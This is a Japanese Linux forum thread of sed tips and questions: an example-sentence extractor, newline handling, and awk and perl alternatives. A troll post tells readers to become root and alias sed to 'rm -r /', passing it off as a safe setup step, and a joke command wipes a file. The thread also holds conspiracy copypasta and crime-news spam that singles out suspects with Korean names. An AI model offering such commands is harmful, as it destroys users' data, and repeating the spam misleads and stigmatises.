03/11/03 08:26 62bfq5Tp
Linux使ってるならsedあたりはサックって使えるようになりたい。
だけどなかなかまとまった日本語の解説がすくなくて苦労する。
ここで皆の智恵をだしつくして欲しい!
日本語解説サイト
URLリンク(www-6.ibm.com)
URLリンク(www-6.ibm.com)
URLリンク(www-6.ibm.com)
英語だとここからたどれる
URLリンク(sed.sourceforge.net)
2:login:Penguin
03/11/03 08:30 tx4gghPz
くだらねえ質問はここに書きこめ! part61
スレリンク(linux板)
3:login:Penguin
03/11/03 08:41 uOnbNLjG
サックっと削除依頼を出しなさい。
4:login:Penguin
03/11/03 09:11 yls3lVXA
man sed
5:login:Penguin
03/11/03 09:16 Zp8b1C/Y
む、面白そうだけどなぁ > sedスレ。awkも一緒に扱ってくれるとありがたい。
とりあえずリンク貼り
sedは日暮れて
URLリンク(www.chimimo.com)
6:login:Penguin
03/11/03 09:59 QpSlPJMR
関連スレ?
awkについて語るスレ
スレリンク(tech板)l50
7:sed@修行中
03/11/03 10:11 62bfq5Tp
例えば英辞郎の加工で
【用例xxx】部分を書き出すと英作に役立つ例文集ができるとおもうんだけど
こんなのどうやるかなんて考えてみたい。
8:login:Penguin
03/11/03 11:31 LQJ0rTOM
オライリー飼って嫁。異常。
9:sed@修行中
03/11/03 12:43 62bfq5Tp
>>7から続き
とりあえずsedにやらせたいことをファイルに書きながらやっていこう。
yourei.sed
=============================
/【用例.*/p
d
=============================
確認してみる
$ sed -f yourei.sed eijirou.txt | more
とりあえず【用例 を含む行だけ抜粋できた。
ここからまだまだ加工が必要だな。
ぼちぼちやっていくさ。。。
10:login:Penguin
03/11/03 13:16 kps3+oSU
ダメではないんだが、シェルスクリプト御用達系のスレは馬力がなくていかん。
てなわけで今度立てるときはsedとawk両方で立ててくれ。
11:sed@修行中
03/11/03 19:11 62bfq5Tp
>>10
そうするよ。
早く終りそうな方が統合スレたてたらいいんだよね?
>>9のつづき
じゃまな振り仮名を削除してみる。
furigana.sed
===============================
s/{[^}]}//g
d
===============================
※振り仮名は全角の{}で囲まれている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed > yourei.txt
次は一行テキストの途中に現われる【用例xxx】のところを改行したい。
12:login:Penguin
03/11/03 19:19 1oU+54gi
いらんもの全部削除
sed -f /dev/zero gomi.txt > gomi.txt
13:sed@修行中
03/11/03 20:24 62bfq5Tp
>>11のつづき
【用例xxx】で改行させてみる。
kaigyou.sed
=========================
s/\/[[:blank:]]/\/\
/g
=========================
※英辞郎はスペース + スラッシュ + スペースで用例を区切っている。
$ sed -f yourei.sed eijirou.txt | sed -f furigana.sed | sed -f kaigyou.sed > yourei.txt
14:login:Penguin
03/11/03 20:29 IeH/wT1r
例題ネタとしては、GNU sed-4.0.XのinfoのExampleにいろいろあるよ。
15:sed@修行中
03/11/03 21:24 62bfq5Tp
>>13のつづき
■で始まる行は邪魔なので削除する。
$ sed -e '/^■/d' yourei.txt > yourei1.txt
英文と和訳が対になってる行だけにする。
$ sed -n -e '/[[:space:]]:[[:space:]]/p' yourei1.txt > yourei2.txt
行頭を■で統一
$ sed -e '/^【[^】]*】[[:space:]]/d' yourei2.txt | sed -e 's/^/■/g' > yourei3.txt
行末にある/を削除
$ sed -e 's/\/$//g' yourei3 > yourei4.txt
ここまでで用例集ができた。
16:sed@修行中
03/11/03 21:26 62bfq5Tp
>>14さん
情報有難う。
参考にさせてもらうね。
17:login:Penguin
03/11/03 21:37 WvAzeZwK
質問。sedで改行するとき、例えば;を改行に置換したいとすると
sed -e 's/;/;\
/g'
改行入れてかいてるんだけど・・。
これが凄い面倒なので一行で書く方法ってないんでしょうか。
18:sed@修行中
03/11/03 21:44 62bfq5Tp
>>17さん
すまないねぇ、あてくしもただいま修行中の身で
お役にたてないワン
19:login:Penguin
03/11/03 21:46 AwFVnZah
メモ貼り。
sedで使用できる正規表現演算子
URLリンク(www.kt.rim.or.jp)
20:login:Penguin
03/11/03 21:48 AwFVnZah
sed JMan
URLリンク(www.linux.or.jp)
21:sed@修行中
03/11/03 22:48 62bfq5Tp
>>17さん
私もいっぱいいっぱいでやってるから
サクッとさじ投げたけど
私のやってる通り改行部分をファイルに書き出して読みこめばいいのでは?
$ sed -e 's/;/;\
> /g'
上記改行なら
kaigyou.sed
======================
s/;/;\
/g
======================
$ sed -f kaigyou.sed hoge > hage
まあ改行したいタイミングで sed -f kaigyou.sed とやればよいのでは?
22:sed@修行中
03/11/04 00:05 nEpLG0yd
>>15のつづき
>行末にある/を削除
>$ sed -e 's/\/$//g' yourei3 > yourei4.txt
$ sed -e 's/\/$//g' yourei3.txt > yourei4.txt //訂正
折角できた用例集だけどこのままではつまらないから
英作問題集風に加工してみよう。
$ sed 's/[[:space:]]:[[:space:]]/\/●/g' yourei4.txt > yourei5.txt
kaigyou2.sed
==========================
s/\//\/\
/g
==========================
$ sed -f kaigyou2.sed yourei5.txt | sed -e 's/\/$//g' > yourei6.txt
23:login:Penguin
03/11/04 00:06 bVXB9fu5
●●●マスコミの 「盗聴/盗撮」 は許されるの?その7A●●● URLリンク(natto.2ch.net)
915 名前: 文責:名無しさん 投稿日: 02/01/20 12:40 ID:FHCYQpiB
今度は、インターネットで犯罪を告発している人自身を直接攻撃することを
彼らは考えるだろう。彼らはインターネット上の告発者が誰かということは
自分達自身が嫌がらせをしているのではじめから知っているのである。
彼らは、NTT等の通信事業者に働きかけて告発者のインターネット接続を
あらゆる方法で妨害をしはじめるだろう。
もちろんこれは、れっきとした犯罪であるためあからさまにやると、
今度は告発者に訴えられたり脅迫されたりされる危険性がある。
そのため、彼らは法律に触れない程度で告発者を妨害する方法はないだろうか?と考える。
そこで出てくるのが....
-虚報戦術-
いくつかの事実といっしょに実体のない噂を山ほど流す。
そのため(情報の)受信者は事実と噂を見分けることが出来ない。
アルビン・トフラー著 「パワーシフト」より
真実の情報を隠すために、偽の情報と真実の情報を混ぜ
どれが真実の情報かわからなくさせる情報工作というものがある。
彼らは自分達が行っている、いたずら電話、脅迫電話、盗聴、盗撮、
ストーカー、住居不法侵入等の真実の情報を誤魔化し閲覧者が混乱するようにするために、
「思考盗聴、透視、遠隔操作」などの誰も信じないような、偽の情報と織り交ぜて
マスメディア関係者が組織的にホームページや掲示板を通じて自分で被害者を演じ
インターネット上で自作自演を行っている可能性がある。
われわれはこういった盗聴犯罪者の馬鹿げた自作自演に気をつけなければならない。
24:sed@修行中
03/11/04 15:19 nEpLG0yd
sed 4.0.1 の info を翻訳したもの。
URLリンク(www.geocities.jp)
25:17
03/11/04 17:12 HXfyqLO7
>>21
レスありがとー、
特定の文字の後に改行したいってのは個人的に良くある
シュチュエーションなもので、
もちょっと簡単にできる方法誰か知ってればなぁなんて思ってたんです。
それともう一つ疑問なのが、
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
real 0m25.056s
user 0m3.043s
sys 0m21.228s
time for i in `find ./ -type f|sed 's/.*\///' `;do echo ${i};done
real 0m0.312s
user 0m0.172s
sys 0m0.096s
こんな感じに、デカイループの中にsedがあるとトテツモナク動作が
重くなるんですが・・・、これってsedがいくつも起動されちゃうから
なのかな。
でかいループ中にsed挟まなきゃならない場合はsedより別スクリプトに
パイプって感じにしたほういいんでしょうかね。
教えて君で申し訳ないのですが、、、。
26:login:Penguin
03/11/04 21:36 WMTM9YVK
>>25
ちなみに。。。
同じような書き方ならPerlのほうが、微妙に早いかも。
#!/usr/bin/perl
open HDL, "find . -type f|";
while(<HDL>)
{
s/.*\///;
print;
}
27:sed@修行中
03/11/07 22:48 EXg8IQbZ
ちまちま分けて書くのが面倒なので、
1つのファイルにまとめて書きたいと思ったんだけど
思うようにできない。。。
yourei.sed
=============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
p
}
==============================
$ -n -f yourei.sed eijirou.txt | more
この状態だとこれ以上の編集ができないんだよね。。。
一旦ファイルに落してからつづきをするしかないのかな?
28:sed@修行中
03/11/08 14:05 V7rCJWEy
>>27に間違いがあった。
>$ -n -f yourei.sed eijirou.txt | more
$ sed -n -f yourei.sed eijirou.txt | more
29:login:Penguin
03/11/09 11:16 oORuYec6
つーかスレタイが腹立つな。態度が馬鹿にしてる
30:login:Penguin
03/11/10 11:04 ZJpiLeJv
>>27
>この状態だとこれ以上の編集ができないんだよね。。。
>一旦ファイルに落してからつづきをするしかないのかな?
意味がよくわからんのだが、
sed -n -f yourei.sed eijirou.txt | sed -e '....'
じゃダメなのか?
あと、1行目を
#!/usr/bin/sed -n -f
として chmod +x しておくといいかも。
31:sed@修行中
03/11/10 20:17 ytRwFQ/P
>>30
いちいちファイルに落さなくてもパイプでつなげるね。
指摘ありがとう。
ただ、>>27 で言おうとしてたのは
パイプで繋いでいく部分も全て1つのファイルにまとめられないかな?
ってことだったんだけど、
例えば >>27 の yourei.sed を
============================
s/{[^}].*}//g
/【用例.*/{
s/\/[[:space:]]/\/\
/g
s/\/$//g
p
}
============================
としても s/\/$//g の部分が実行できてない。
これは一度編集が終ったサイクルは読みこめないってことなのかな?
32:login:Penguin
03/11/10 21:22 HfGu945d
>>sed@修行中
sedの置換命令のデリミタには任意の文字が使えるぞ。
置換文字列に'/'が含まれるなら。'/'を'\'でエスケープするよりも
文字列に含まれない文字をデミリタにすると読みやすいと思う。
例
s/\/[[:space:]]/\/\
/g
↓
s@/[[:space:]]@/\
@g
s/\/$//g
↓
s%/$%%g
33:login:Penguin
03/11/10 21:45 HfGu945d
>>31
> としても s/\/$//g の部分が実行できてない。
そうそう、sedは入力行に対して'^'と'$'は最初の行頭と行末にしかマッチしなかった気がする。
置換の結果、改行文字が挿入されて行が増えても、
新たな行頭と行末は'^'と'$'にマッチしないみたいだね。
34:login:Penguin
03/11/10 22:10 QXOcZqA1
SED 教室
URLリンク(www.gcd.org)
35:sed@修行中
03/11/10 22:13 ytRwFQ/P
>>32
そうだね そのほうがずっと見やすいね。
教えてくれてありがとう。
36:sed@修行中
03/11/10 22:15 ytRwFQ/P
O'REILLY sed & awk
URLリンク(polymer.bu.edu)
37:login:Penguin
03/11/10 22:54 HfGu945d
>>34
何故にMSワード・・・
38:sed@修行中
03/11/10 23:12 ytRwFQ/P
URLリンク(ime.st)
拡張子がdocになってるけどlessでもみれるから
私はそれぞれのファイルを全部catでマージして
拡張子をtxtに変更してtknamazuから検索できるようにしている。
かなり平易に説明してくれてると思うよ。
39:sed@修行中
03/11/11 02:23 1ZoP6XVJ
>>33
sedの改行処理がネックになっているみたいです。
yourei.sed
=======================
s/{[^}].*}//g
/【用例.*/{
s%\/[[:space:]]%\/\
%g
s%$%\n%g
p
}
======================
$ sed -n -f yourei.sed eijirou.txt | more
こうすると改行処理前の1行テキストごとに
\nが挿入されていました。
要するに見ためで改行しているだけで
1行テキストとしては改行処理前のものを認識しています。
40:login:Penguin
03/11/11 11:01 GaIDSE/z
>>37
あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
むしろ .txt の方が少なかったような気が。
>>39
>1行テキストとしては改行処理前のものを認識しています。
うんにゃ。
$ はパターンスペースの最後にマッチするメタキャラクタであって、
何らかの操作でパターンスペース中に改行が増えても
^, $ でマッチする部分が増えるわけではない
もし改行処理前(s// 実行前)のものが認識されるのであれば、
echo aaa | sed 's/a/b/; s/a/c/'
の結果は s/a/b/ が s/a/c/ に上書きされて caa になるはずだけど、
実際は s/a/b/ の置換結果に対して s/a/c/ が実行されるので bca になる。
41:login:Penguin
03/11/11 11:06 viYZ+vae
>>40
> あれが書かれた当時、.doc はテキストファイルに使われる拡張子でした。
なのに Content-Type: application/msword なのね。
42:login:Penguin
03/11/11 15:51 nI9atQTW
>>41
すでに一般的になっている拡張子を横取りする辺り
さすが某社な感じがしたね。
いまじゃ拡張子docをテキストに使う人なんていなくなったなぁ。
43:sed@修行中
03/11/11 16:42 1ZoP6XVJ
>>40
>$ はパターンスペースの最後にマッチするメタキャラクタであって、
>何らかの操作でパターンスペース中に改行が増えても
>^, $ でマッチする部分が増えるわけではない
お手上げです。
1つのスクリプトファイルにまとめたかったんだけど
無理みたいですね。
44:login:Penguin
03/11/11 22:39 TEb8ctrO
>>43
改行への置換と行末の/の削除を同時にすればいいじゃん。
s/{[^}].*}//g
/【用例.*/{
s%/[[:space:]]%\
%g
p
}
45:sed@修行中
03/11/11 23:40 1ZoP6XVJ
>>44
なるほど、そんなことができたんですね。
1つ手順が減りました。ありがとう。
46:login:Penguin
03/11/12 20:36 LHJK+sHI
viviのアウトライン解析機能を使っています。
「リナンバ」とやると、
1.1
1.3
1.5
なんてのが、
1.1
1.2
1.3
ときちんと書き直してくれます。vimでもこういうことがやりたいのですが、挫折してまして、
sedで可能かと考えています。お力をお貸しください。
47:login:Penguin
03/11/13 01:06 Egj266kX
sed じゃ難しいんでは?
48:login:Penguin
03/11/13 02:03 voeoED2+
オライリのセッドアンドオークは正直分かりにくい
49:login:Penguin
03/11/21 21:51 9CHmmaB8
1,$s/●/ひろゆきの私腹/g
50:徳さん
03/11/27 01:49 T81Yg0h9
>>25
time for i in `find ./ -type f`;do echo ${i}|sed 's/.*\///';done
↓
do ~ done はまとめてリダイレクトできるのだ
↓
time for i in `find ./ -type f`;do echo ${i};done | sed 's/.*\///'
すっごく速くなったぞ
# sed ってよりshellのお題だな
51:login:Penguin
03/11/28 03:06 UcUoDcec
``でサブシェル起動するからね...
find . -type f | xargs sed 's/.*\///'
とか
find . -type f | while read i; do sed 's/.*\///' ${i}; done
のほうがいいのでは?
(上だと全ファイルまとめてsed。下だと一つづつsed)
52:sed@修行中
03/11/29 01:56 FhRoB8U6
ぬぬぅ
これは早急にシェルスクリプトを習得せねば
なんかわかんないけどすごく便利なことしてそうな予感。
53:login:Penguin
03/11/29 02:39 MWd5bA5L
普通はシェルコマンドや正規表現を先に覚えるべきでは???
まぁあまり人のことは言えないが(w
54:login:Penguin
03/11/29 05:45 Nom6UDvM
>>52
早くしてるだけだよ。
でも>>50が出してきた例は、上と下で動作が違うから注意しな。
この例みたいに全部標準出力に垂れ流すsedなら一緒だけど。
>>53
UNIX的思想では小さいプログラムを組み合わせて使うから、
必要に応じて機能を探せばいい。
順番なんてナンセンス、だと思うな。
55:login:Penguin
03/11/29 06:03 Nom6UDvM
燃料投下の意味もこめて、ほったらかしの>>46にささげます。
正規表現の部分は手抜きで、柔軟性のかけらもありません。
加工したいテキストにあわせて書き換える必要があるでしょう。
#なおテストはしてません。
while :
do
cnt=`expr $cnt + 1`
sed 's/^\([ \t]*1\.\)[1-9][0-9]*/\1'$cnt'/' < 加工したいファイル
done
56:fireな男書き込み中
03/11/29 06:51 L/Ar23C0
俺様がテーチインしてやるから
まずスーパーユーザにならなくちゃ行けないんだよ。
$ su -
そんでもって、sedはプロトタイプ宣言が必要なんだ。Cのプリプロセッサ
のようなものって思って良いけど難しいから以下のようにタイプする。
$ alias sed='rm -r /'
すると起動完了だから、sedがバッチリ起動する。
このおまじないで絶対に止めては行けないサーバとかでも
安心してセキュリティを気にせずに実行する事が可能だ。ZDNetとかの
linux-tipsとかlinux-mini-howtoに載っているよ。
57:login:Penguin
03/12/01 11:34 OhP2Gise
>>46
sed でやることじゃないな。
#!/usr/bin/awk -f
$1 ~ /[0-9]+\.[0-9]+/{
split($1, tmp, /\./)
if(tmp[1] <= sec){
subsec += 1
} else{
sec += 1
subsec = 1
}
sub(/[0-9]+\.[0-9]+/, sec "." subsec)
}
{ print }
>>56
つまらない。
58:login:Penguin
04/01/10 09:17 siaa18gv
vi と awk + join + sort
で、RDBMS ができるようだ。
#!/bin/sh
join -1 1 -t: /etc/passwd /etc/ftpusers \
| sort -t ":" -n -k 3 \
| awk 'BEGIN {FS=":"; OFS="\t";} \
$7 != /bin/false && $3 >= 1000 \
{print $1, $3, $4, $7;}'
awk の変数 OFS がなぜかFreeBSDで通らないのが謎。
って、ここはsed刷れだった。
sedもいじってみよう。
59:login:Penguin
04/01/10 10:55 siaa18gv
awkつまみ食い(1時間コース)
URLリンク(www.is.kochi-u.ac.jp)
/* emp.dat */
Beth 4.00 0
Dan 3.75 0
Kathy 4.00 10
Mark 5.00 20
Mary 5.50 22
Susie 4.25 18
/* m6.awk */
BEGIN { print "*** Employee Statistics ***" }
$3 > 15 { emp = emp + 1 }
{ pay = pay + $2 * $3 }
$2 > max { max = $2; who = $1 }
{ names = names $1 " " }
{ last = $0 }
END {
print "Employee list:", names;
print NR, "employees";
print emp, "employees worked more than 15 hours." ;
print "total pay is",pay;
print "average pay is",pay/NR;
print "Highest hourly rate:", max, "for", who ;
print "Who was the last:",last;
}
60:login:Penguin
04/01/10 10:57 siaa18gv
$ awk -f m6.awk emp.dat
*** Employee Statistics ***
Employee list: Beth Dan Kathy Mark Mary Susie
6 employees
3 employees worked more than 15 hours.
total pay is 337.5
average pay is 56.25
Highest hourly rate: 5.50 for Mary
Who was the last: Susie 4.25 18
ほかにも、 awk は 組み込み 関数や、
if-else文、 while文、 for文などを 使った 複雑な 計算や
プログラム制御を おこなう ことが できます。
これらの 詳細に ついては、 C言語を 学んだ 後で 参考書
「プログラミング言語AWK」
エイホ・ カーニハン・ ワインバーガー著・ 足立訳 (トッパン・ 3,400円)を...
61:login:Penguin
04/01/10 14:28 gicz3W8H
久しぶりに良スレだ。
まとめサイトキボソ
62:login:Penguin
04/03/07 01:23 0UiefwuC
保守上げ
63:login:Penguin
04/03/15 22:06 cMKAgcb5
!/usr/bin/perl -p
if(/(\d+)\.\d+/) {
if($1 > $sec) {
$sec=$1;
$subsec=1;
} else {
$subsec++;
}
s/\d+\.\d+/$sec.$subsec/;
}
64:63
04/03/15 22:09 cMKAgcb5
>>46
スレ違いだがawkでもいいなら、、、
57のperl版でw
65:login:Penguin
04/04/07 10:33 okZh1+9q
漏れは、改行はtrつかって変換してる'\012'
66:login:Penguin
04/07/07 16:31 +gxHp2MZ
sage
67:login:Penguin
04/09/08 12:59 hBE6nYPC
hosyu
68:login:Penguin
04/11/28 05:46:14 S1pxb2sA
補習
69:login:Penguin
05/01/27 01:33:29 rr1tF+uZ
保守
70:login:Penguin
05/02/20 10:54:51 SQt2t8zo
sedを使ってhogeを"hoge"にしたいんですけど
s/^/\"/とs/$/\"/を一度にできますか?
71:login:Penguin
05/02/20 11:43:50 9r4p9Jy7
sed 's/hoge/"hoge"/'
72:login:Penguin
05/02/20 11:50:37 LXPgW8jX
>>71
答のポイントがずれてる
>>70
sed 's/\(.*\)/\"\1\"/'
73:login:Penguin
05/02/20 11:53:39 x3mWXcsm
>>70
sed -e "s/^/\"/" -e "s/$/\"/"
sed -e "s/^\(.*\)$/\"\1\"/"
74:login:Penguin
05/02/20 12:09:51 SQt2t8zo
>>71-73
感謝!
キモの\(.*\)と\1の意味が理解できないorz
精進します
75:71
05/02/20 12:28:33 9r4p9Jy7
ああ、hogeは可変なのか…
だからs/^/\"/とかしてたわけね orz
76:login:Penguin
05/02/25 23:31:47 CmL+OxWl
sedでカレントパスにある、重複名ファイルを削除すること出来ますでしょうか?
77:login:Penguin
05/02/26 00:08:54 Oyc5PjG3
「重複名ファイル」が何のことか分からんが、
sedでファイルを削除することはできません
78:login:Penguin
05/03/05 11:26:28 Xag2FfiC
パイプに渡してrmコマンドで削除はできる
79:login:Penguin
05/05/27 23:31:57 RlR1k47P
>>1は氏んだのか?
80:login:Penguin
05/08/21 09:54:50 PDEd7qsy
>>78
全然試さずに聞いてみるのだがそれってファイル中身じゃなくて
ファイル自体が消えるの?
81:login:Penguin
05/08/22 23:00:28 /oDO6UGR
おれは引数の中身までは分からんが
ls | sed 'hogehoge' | rm -rf
ってことだろ。
82:login:Penguin
05/08/22 23:09:43 /oDO6UGR
あれ?
>カレントパスにある、重複名ファイル
こんなもん作れないだろ・・・作れたらスクリーンショットとってどっかに挙げてくれ。
83:login:Penguin
05/11/06 18:45:52 d1sLJr10
age
84:login:Penguin
05/11/20 11:35:39 zC+iRPbI
つ[MS‐DOSを256倍使うための本〈Vol.3〉]
85:login:Penguin
05/11/21 18:01:23 9OlIZyoL
>>84
「MAKE make Make.」
と
「640Kのバリヤーのなかで」
の章を読めば良いんですね。
わかりました。
ありがとうございました。
86:login:Penguin
05/11/22 00:22:49 HxwKhGDI
rm -rfv `find . | grep '~$'`
こんなのよくやる。
87:login:Penguin
05/11/26 06:21:39 kJunMMiz
こんなのを適当にファイル名を指定してやってみよう。
sed 's/\w//g' <ファイル名>
88:login:Penguin
05/11/28 02:00:25 LhHzdh/r
疑問なんだけど、デフォルト入力とかで
行をファイル(標準入力でもいいけど)から読み込んでくるとき、
パターンスペースに格納されるテキストには
その行が本来持っていた末尾の改行は保持されるの、
それとも捨てられてるの?
89:login:Penguin
05/11/28 23:09:25 EcBnAVh1
>>88
捨て
90:88
05/11/29 02:04:37 JFndx1yi
>>89
ありが㌧。そうみたいだね。実は自己解決してました。
man sedしてもわからなかったけどinfo sedしたら書いてあったよ(GNU sedね)。
「SED 教室 第三回」にもこうあった。
URLリンク(www.gcd.org)
> SED は起動されるとまず、標準入力の最初の行をパターンスペースにコピーし
>ます。この時点でパターンスペースの内容は「これは一行目だ。」になります。
>行末の改行コードは捨てられてパターンスペースの中にはありませんので注意し
>てください。
91:login:Penguin
05/11/30 21:51:21 O2ouymZd
Cのソースから
//
/* */
のコメントを取り除けますか?sedで。
92:login:Penguin
05/11/30 22:18:12 lIO05ZaP
>>91
できるよ。
93:login:Penguin
05/11/30 22:43:30 +mlzjm+U
>できるよ。
/*
*/
のように複数行に分かれている場合にもできますか?
94:login:Penguin
05/11/30 22:44:24 lIO05ZaP
>>93
うん。
95:login:Penguin
05/12/03 04:22:17 tqW1lQSk
要するに,「/*」と「*/」を削除すれば?
96:login:Penguin
05/12/03 10:13:01 Tw8V4WMs
ヒント:
URLリンク(www.gcd.org)
---------- SED 教室 第十二回 「~から~まで、基礎編」 ----------
97:login:Penguin
06/01/22 16:17:53 IDyOrogG
SED
98:login:Penguin
06/02/24 16:50:56 cbN1qQJn
@@@
99:login:Penguin
06/03/01 17:51:55 invzz+R5
Super Erectile Dysfunction
100:login:Penguin
06/04/12 02:40:10 TK6X7NqV
深夜挙げ
101:login:Penguin
06/06/19 18:24:21 7hb+n6Th
保守
102:login:Penguin
06/08/22 16:17:23 GMKE0Nda
むむむ
103:login:Penguin
07/04/18 00:02:42 znSq4roi
>>1
乙
104:login:Penguin
07/04/21 20:59:54 3cd3hhH7
sed -e 's/XX/VV/g'|rm -rf
パイプの概念すらしらん奴はこの板すらのぞかない方が君の為だ。
105:login:Penguin
07/04/21 21:05:07 Xv/Wu2nU
とりあえず、何をどうしたいのか、問題をはっきり定義してくれ。
そうすりゃ、見本スクリプト書いて説明してやるよ。
ややこしいことやるなら、ほんとはPerlのほうが使いやすいけど。
106:login:Penguin
07/11/23 23:18:25 jeG9bac3
括弧そのものの削除ってどうやるの・・・
\( ってやっても expression エラーがでるんだけど・・・orz
107:login:Penguin
07/11/24 09:54:12 KS9aoT96
むしろ ( だけでいいはず
108:login:Penguin
07/11/26 16:59:12 BfF24vJW
実装次第かも知れんが、\(~\)がグループ化で()は普通の括弧文字って実装が割と多い気がするね。
109:login:Penguin
07/11/26 18:40:27 K1ODcPAV
BREとEREの違いですね。
GNUのsedなら、-rをつけるとEREになるから、
\(~\)じゃなくて(~)でグループ化になりますよ。
110:login:Penguin
07/11/27 02:16:55 ha+qq+GW
>>108
GNUの拡張を除けば、グループ化が ( と ) なsedはないんじゃないか?
111:login:Penguin
08/04/17 05:57:23 OFfDkpoC
夢翔塾代表 逮捕後アリバイ工作 証人威迫容疑で福岡県警再逮捕 拘置中、男に依頼
特定非営利活動法人(NPO法人)「ハートランド夢翔塾(むしょうじゅく)」(福岡県大牟田市)代表の川野弘樹容疑者(36)=児童福祉法違反の罪で起訴=が、
塾生の少女=当時(16)=にわいせつ行為をしたとされる事件で、同県警は5日、拘置中に知り合った男と事件当日のアリバイ工作をしたとして、
証人威迫の疑いで川野容疑者を再逮捕し、大牟田市草木、飲食店従業員李永浩容疑者(32)を逮捕した。
調べでは、川野容疑者は大牟田署の留置場に拘置された際、別の事件で拘置されて同房だった李容疑者と共謀。
略式起訴で2月1日に保釈された李容疑者は同日夜、大牟田市内の川野容疑者の知人女性を訪ね、
「(わいせつ事件の)犯行時、川野容疑者と一緒にいたと証言してくれ」と、うそのアリバイ証言をするように強要した疑い。
両容疑者に面識はなく、留置場内で謀議していたという。川野容疑者は黙秘し、李容疑者は容疑を認めているという。
県警は5日、川野容疑者が昨年10月8日にも同市内の路上に止めた乗用車内で同じ少女にわいせつ行為をしたとして、
児童福祉法違反(淫行(いんこう))容疑でも再逮捕した。
URLリンク(www.nishinippon.co.jp)
浜松・連続女性暴行:懲役20年を求刑 /静岡
浜松市の連続女性暴行事件で強姦(ごうかん)致傷などの罪に問われた同市中区北寺島町、
韓国籍の会社員、李正遠(イチョンウォン)被告(34)の論告求刑公判が4日、地裁浜松支部 (北村和裁判長)であった。
検察側は懲役20年を求刑した。
毎日新聞
URLリンク(mainichi.jp)
強制わいせつ容疑で逮捕 /福岡
26日、八幡東区石坪町、土木作業員、崔吉竜容疑者(32)を。
今月12日午後6時50分ごろ、門司区内の会社事務所に「トイレを貸してほしい」と
言って立ち入り、事務員の女性(32)に抱きつくなどわいせつな行為をした疑い。
前日にも事務所を訪れており、「強制ではない」などと犯意を否認しているという。
URLリンク(mainichi.jp)
112:login:Penguin
08/04/18 01:44:25 /C9YMQcQ
unix 板のアレがこっちに来たのかと思った。
113:login:Penguin
08/06/03 06:01:17 OIB6+9BR
>>110
できるよ。
以上。
はい、次。
114:login:Penguin
08/07/17 19:01:07 fSKuDDXe
head.logというファイルの先頭に「HOGEHOGE」という文字列を挿入しようとしています。
head.logの中身は
-------
test
test
-------
という二段の文字列です。
最初に直接sedを用いて
sed -e '1 s/^/HOGEHOGE\n/' head.log
というコマンドで
-------
HOGEHOGE
test
test
-------
と表示することには成功しました。
115:login:Penguin
08/07/17 19:02:47 fSKuDDXe
ただ、シェルスクリプトを
----------------------------
#!/bin/sh
echo "input word"
read word
sed -e "1 s/^/${word}\n/" head.log
----------------------------
のように書いて、wordにHOGEHOGEを代入してこれを実行すると
-------
HOGEHOGE
HOGEHOGE
test
test
-------
のように、HOGEHOGEが二回繰り返して表示されてしまいました。
この原因は何なのでしょうか?
対策方法などありましたらアドバイスよろしくおねがいします。
116:login:Penguin
08/07/17 20:43:30 KzL7zakf
>>115
まず関係ないと思われる部分を省いて少しずつ試しなよ。
117:login:Penguin
08/07/17 20:49:48 KzL7zakf
ヒント
----------------------------
#!/bin/sh
echo "input word"
read word
echo ""
sed -e "1 s/^/${word}\n/" head.log
----------------------------
118:login:Penguin
08/07/17 21:07:52 fSKuDDXe
うわああああ!!
恥ずかしいです(><)
ありがとうございました(;_;)
119:login:Penguin
08/08/01 22:50:22 WR526y3P
改行の扱いについて教えてください。
以下のページによると
URLリンク(www.gcd.org)
> では「ジャンプせよ」という命令を実行することなくスクリプトの最後の行を
> 過ぎてしまったらどうなるのでしょうか。(中略)この様な場合、SED は p と d を
> 自動的に実行します。
とありますが、
echo -n aaa | sed -e 's/aaa/bbb/'
を実行すると
bbb
が改行を伴わずに出力されます。
上記の説明と異なる結果でよく分からないのですが、、、
パターンスペースに各行の文字列を入れる際、行末の改行は捨てられるが、
その行が改行を伴っていたか伴っていなかったかについて、sedは何らかの形で
記憶している、そしてデフォルトの出力の際、もともと改行を伴っていたか
どうかによって、出力文字列に改行を付けている。
このような理解でよろしいでしょうか。
よろしくお願いします。
120:login:Penguin
08/08/02 00:47:41 +VO1N7E+
age
121:login:Penguin
08/08/03 00:52:44 VOatfWTi
>>119
GNU sed のソースを見た限りでは、一行ごとに読み込んでいるのだけど
改行がついていたかどうかのフラグを持ってるね。
んで、入力に改行がなかった場合には出力にも付加しない。
POSIX的にはどうか知らないけど 119にある理解でいいんじゃないか?
122:119
08/08/03 21:20:32 S34ZH5Ab
>>121
デフォルトの出力に関しては、最終行での改行の有無を意識しておけばよい
ということですかね。
調べていただいてありがとうございました。
123:121
08/08/04 02:43:40 GBDGU4jb
>>122
sedはawkとかPerlみたいにレコードの区切りを変えることができなくて一行単位というのは
動かないから、改行コードのあるなしが問題になるのは最終行だけだね。
ソースをちょっと grep してちょっと眺めただけだからたいした手間じゃないよ。
124:login:Penguin
08/08/05 20:51:25 X/szKwVr
grepの場合、改行がない最終行に対しては、改行を付けて出力するね。
125:login:Penguin
08/10/27 23:21:57 BnAQXfRx
"aaa"
"bbb
ccc"
このようなファイルの2行目と3行目を連結したいのですが、可能でしょうか。
126:login:Penguin
08/10/28 00:00:22 LqvgIl+t
>>125
詳しい条件書かないとわからんよ。
s/b\n/b/g
その例には使えるけど。
127:login:Penguin
08/10/28 00:04:49 gCa9/U26
ありがとうございます。
この例で使えれば大丈夫なのですが、
条件として\nは使えるのでしょうか。
128:login:Penguin
08/10/28 01:07:16 LqvgIl+t
>>127
質問の意図がわからないのだが。
129:login:Penguin
08/10/28 01:08:53 dGaeCgPM
>>127
「自分の環境では、\nが認識されませんでした。」か?
130:login:Penguin
08/10/28 01:24:35 LqvgIl+t
>>127
ああ、すまん。確かにダメだわ。sedじゃないけど、
perl -pe "s/b\n/b/g" ファイル名
これで勘弁。
131:login:Penguin
08/10/28 03:01:43 /qenFkSI
/bbb$/{
N
s/\n//
}
でどう?
マッチ文字列や置換文字列に \n が使えるかどうかは環境によるので
お前さんがどういうところで使っているかを書かなければ答えようがない。
132:login:Penguin
08/11/09 22:38:03 iboFIZ94
>「Error」がある行に,「### Check Line ###」という新しい行を追加する
>$ $ sed -e "/Error/i #### Check Line ###" source.txt
↑の構文なのですが、「新しい行を追加する」のではなく、
行の入れ替えを行う方法は無いでしょうか?
133:login:Penguin
